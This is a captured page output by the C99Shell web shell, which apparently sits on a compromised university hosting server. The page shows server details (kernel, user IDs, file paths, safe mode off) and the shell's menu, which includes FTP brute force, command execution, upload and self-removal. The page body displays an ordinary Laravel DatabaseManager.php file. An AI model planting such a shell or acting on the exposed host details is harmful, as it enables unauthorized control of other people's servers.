!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Database/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DatabaseManager.php (8.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database;

use 
PDO;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Str;
use 
InvalidArgumentException;
use 
Illuminate\Database\Connectors\ConnectionFactory;

class 
DatabaseManager implements ConnectionResolverInterface
{
    
/**
     * The application instance.
     *
     * @var \Illuminate\Foundation\Application
     */
    
protected $app;

    
/**
     * The database connection factory instance.
     *
     * @var \Illuminate\Database\Connectors\ConnectionFactory
     */
    
protected $factory;

    
/**
     * The active connection instances.
     *
     * @var array
     */
    
protected $connections = [];

    
/**
     * The custom connection resolvers.
     *
     * @var array
     */
    
protected $extensions = [];

    
/**
     * Create a new database manager instance.
     *
     * @param  \Illuminate\Foundation\Application  $app
     * @param  \Illuminate\Database\Connectors\ConnectionFactory  $factory
     * @return void
     */
    
public function __construct($appConnectionFactory $factory)
    {
        
$this->app $app;
        
$this->factory $factory;
    }

    
/**
     * Get a database connection instance.
     *
     * @param  string  $name
     * @return \Illuminate\Database\Connection
     */
    
public function connection($name null)
    {
        list(
$name$type) = $this->parseConnectionName($name);

        
// If we haven't created this connection, we'll create it based on the config
        // provided in the application. Once we've created the connections we will
        // set the "fetch mode" for PDO which determines the query return types.
        
if (! isset($this->connections[$name])) {
            
$connection $this->makeConnection($name);

            
$this->setPdoForType($connection$type);

            
$this->connections[$name] = $this->prepare($connection);
        }

        return 
$this->connections[$name];
    }

    
/**
     * Parse the connection into an array of the name and read / write type.
     *
     * @param  string  $name
     * @return array
     */
    
protected function parseConnectionName($name)
    {
        
$name $name ?: $this->getDefaultConnection();

        return 
Str::endsWith($name, ['::read''::write'])
                            ? 
explode('::'$name2) : [$namenull];
    }

    
/**
     * Disconnect from the given database and remove from local cache.
     *
     * @param  string  $name
     * @return void
     */
    
public function purge($name null)
    {
        
$this->disconnect($name);

        unset(
$this->connections[$name]);
    }

    
/**
     * Disconnect from the given database.
     *
     * @param  string  $name
     * @return void
     */
    
public function disconnect($name null)
    {
        if (isset(
$this->connections[$name $name ?: $this->getDefaultConnection()])) {
            
$this->connections[$name]->disconnect();
        }
    }

    
/**
     * Reconnect to the given database.
     *
     * @param  string  $name
     * @return \Illuminate\Database\Connection
     */
    
public function reconnect($name null)
    {
        
$this->disconnect($name $name ?: $this->getDefaultConnection());

        if (! isset(
$this->connections[$name])) {
            return 
$this->connection($name);
        }

        return 
$this->refreshPdoConnections($name);
    }

    
/**
     * Refresh the PDO connections on a given connection.
     *
     * @param  string  $name
     * @return \Illuminate\Database\Connection
     */
    
protected function refreshPdoConnections($name)
    {
        
$fresh $this->makeConnection($name);

        return 
$this->connections[$name]
                                ->
setPdo($fresh->getPdo())
                                ->
setReadPdo($fresh->getReadPdo());
    }

    
/**
     * Make the database connection instance.
     *
     * @param  string  $name
     * @return \Illuminate\Database\Connection
     */
    
protected function makeConnection($name)
    {
        
$config $this->getConfig($name);

        
// First we will check by the connection name to see if an extension has been
        // registered specifically for that connection. If it has we will call the
        // Closure and pass it the config allowing it to resolve the connection.
        
if (isset($this->extensions[$name])) {
            return 
call_user_func($this->extensions[$name], $config$name);
        }

        
$driver $config['driver'];

        
// Next we will check to see if an extension has been registered for a driver
        // and will call the Closure if so, which allows us to have a more generic
        // resolver for the drivers themselves which applies to all connections.
        
if (isset($this->extensions[$driver])) {
            return 
call_user_func($this->extensions[$driver], $config$name);
        }

        return 
$this->factory->make($config$name);
    }

    
/**
     * Prepare the database connection instance.
     *
     * @param  \Illuminate\Database\Connection  $connection
     * @return \Illuminate\Database\Connection
     */
    
protected function prepare(Connection $connection)
    {
        
$connection->setFetchMode($this->app['config']['database.fetch']);

        if (
$this->app->bound('events')) {
            
$connection->setEventDispatcher($this->app['events']);
        }

        
// Here we'll set a reconnector callback. This reconnector can be any callable
        // so we will set a Closure to reconnect from this manager with the name of
        // the connection, which will allow us to reconnect from the connections.
        
$connection->setReconnector(function ($connection) {
            
$this->reconnect($connection->getName());
        });

        return 
$connection;
    }

    
/**
     * Prepare the read write mode for database connection instance.
     *
     * @param  \Illuminate\Database\Connection  $connection
     * @param  string  $type
     * @return \Illuminate\Database\Connection
     */
    
protected function setPdoForType(Connection $connection$type null)
    {
        if (
$type == 'read') {
            
$connection->setPdo($connection->getReadPdo());
        } elseif (
$type == 'write') {
            
$connection->setReadPdo($connection->getPdo());
        }

        return 
$connection;
    }

    
/**
     * Get the configuration for a connection.
     *
     * @param  string  $name
     * @return array
     *
     * @throws \InvalidArgumentException
     */
    
protected function getConfig($name)
    {
        
$name $name ?: $this->getDefaultConnection();

        
// To get the database connection configuration, we will just pull each of the
        // connection configurations and get the configurations for the given name.
        // If the configuration doesn't exist, we'll throw an exception and bail.
        
$connections $this->app['config']['database.connections'];

        if (
is_null($config Arr::get($connections$name))) {
            throw new 
InvalidArgumentException("Database [$name] not configured.");
        }

        return 
$config;
    }

    
/**
     * Get the default connection name.
     *
     * @return string
     */
    
public function getDefaultConnection()
    {
        return 
$this->app['config']['database.default'];
    }

    
/**
     * Set the default connection name.
     *
     * @param  string  $name
     * @return void
     */
    
public function setDefaultConnection($name)
    {
        
$this->app['config']['database.default'] = $name;
    }

    
/**
     * Get all of the support drivers.
     *
     * @return array
     */
    
public function supportedDrivers()
    {
        return [
'mysql''pgsql''sqlite''sqlsrv'];
    }

    
/**
     * Get all of the drivers that are actually available.
     *
     * @return array
     */
    
public function availableDrivers()
    {
        return 
array_intersect($this->supportedDrivers(), str_replace('dblib''sqlsrv'PDO::getAvailableDrivers()));
    }

    
/**
     * Register an extension connection resolver.
     *
     * @param  string    $name
     * @param  callable  $resolver
     * @return void
     */
    
public function extend($name, callable $resolver)
    {
        
$this->extensions[$name] = $resolver;
    }

    
/**
     * Return all of the created connections.
     *
     * @return array
     */
    
public function getConnections()
    {
        return 
$this->connections;
    }

    
/**
     * Dynamically pass methods to the default connection.
     *
     * @param  string  $method
     * @param  array   $parameters
     * @return mixed
     */
    
public function __call($method$parameters)
    {
        return 
call_user_func_array([$this->connection(), $method], $parameters);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0122 ]--